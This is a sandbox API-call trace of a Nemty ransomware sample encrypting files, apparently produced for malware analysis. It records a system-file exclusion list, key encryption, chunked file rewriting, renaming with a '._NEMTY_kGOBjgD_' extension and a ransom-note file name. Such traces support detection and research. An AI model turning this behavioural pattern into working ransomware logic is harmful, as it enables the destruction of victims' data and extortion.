SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.606] CloseHandle (hObject=0xffffffff) returned 0 [0097.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0097.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0097.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340240 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.606] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png._nemty_kgobjgd_")) returned 0 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0097.607] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32f7cb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd32f7cb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd32f7cb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0097.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0097.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.608] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32f7cb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd32f7cb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd32f7cb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0097.608] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0097.609] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2=".") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="..") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="...") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="windows") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="$RECYCLE.BIN") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="rsa") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="NTDETECT.COM") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="ntldr") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="MSDOS.SYS") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="IO.SYS") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="boot.ini") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="boot.ini") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="AUTOEXEC.BAT") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="ntuser.dat") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="desktop.ini") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="CONFIG.SYS") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="RECYCLER") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="BOOTSECT.BAK") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="bootmgr") returned 1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="programdata") returned -1 [0097.609] lstrcmpiW (lpString1="Filters.xml", lpString2="appdata") returned 1 [0097.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Filters.xml", lpUsedDefaultChar=0x0) returned 11 [0097.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Filters.xml", lpUsedDefaultChar=0x0) returned 11 [0097.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0097.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Filters.xml", lpUsedDefaultChar=0x0) returned 11 [0097.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0097.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Filters.xml", lpUsedDefaultChar=0x0) returned 11 [0097.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0097.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0097.610] Sleep (dwMilliseconds=0x5) [0097.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xedd5a170, dwHighDateTime=0x1d561e7)) [0097.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xedd5a170, dwHighDateTime=0x1d561e7)) [0097.623] GetLastError () returned 0x12 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.623] GetLastError () returned 0x12 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0097.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0097.623] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94158 [0097.623] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94158, pcchString=0x653ef9c | out: pszString="YGzX+TgAn7NH9aP4TiZdM7/G5wyDqSex9jGipfdFfyji12rwP0JX0oN0v3202NYE\r\nS8UUoRaCRWMXQbhidahDJW3ewk7hEvNeAV3iFFXO4S0nlAyrqTtkXE6v/5OndRD/\r\n0gT/hdjSh9NNMq6PRZ7GDMpJKjnUjjcQVNhj6XEZixAaHgbABiTK/KiJFouZmVU4\r\nYoDpWC2RqAtIWQPZ3/nT/xHKz3ZxQHYOU6hYa2T2SVZEKKBovDSCfw6ggwpMuHpq\r\nx0EAJlxpIS4tXLK6eCAqwBw5Is2yqJL3ZfxOktzxR/z7wMfWvjVSt7MnvwHpv267\r\nFADEQaNG1QwBipRTKhdRrA==\r\n", pcchString=0x653ef9c) returned 1 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0097.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94158 [0097.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.623] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.624] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0097.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 